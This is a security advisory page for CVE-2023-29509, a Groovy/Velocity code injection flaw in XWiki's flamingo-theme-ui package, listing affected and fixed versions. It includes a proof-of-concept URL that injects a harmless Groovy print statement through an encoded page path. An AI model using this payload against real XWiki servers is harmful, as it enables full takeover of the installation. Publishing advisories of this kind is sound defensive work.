Arbitrary Code Execution Affecting org.xwiki.platform:xwiki-platform-flamingo-theme-ui package, versions [7.2-rc-1,13.10.11)[14.0-rc-1,14.4.7)[14.5,14.10)


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.22% (62nd percentile)

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  • Snyk IDSNYK-JAVA-ORGXWIKIPLATFORM-5421175
  • published13 Apr 2023
  • disclosed12 Apr 2023
  • creditUnknown

Introduced: 12 Apr 2023

CVE-2023-29509  (opens in a new tab)
CWE-95  (opens in a new tab)

How to fix?

Upgrade org.xwiki.platform:xwiki-platform-flamingo-theme-ui to version 13.10.11, 14.4.7, 14.10 or higher.

Overview

Affected versions of this package are vulnerable to Arbitrary Code Execution due to improper escaping of the documentTree macro parameters in the default FlamingoThemesCode.WebHome. Any user with view rights on commonly accessible documents can execute arbitrary Groovy, Python or Velocity code in XWiki, leading to full access to the XWiki installation.

PoC

<xwiki_host>/xwiki/bin/view/%22%20%2F%7D%7D%20%7B%7Basync%20async%3D%22true%22%20cached%3D%22false%22%20context%3D%22doc.reference%22%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22Hello%20%22%20%2B%20%22from%20groovy!%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D?sheet=FlamingoThemesCode.WebHome&xpage=view

CVSS Scores

version 3.1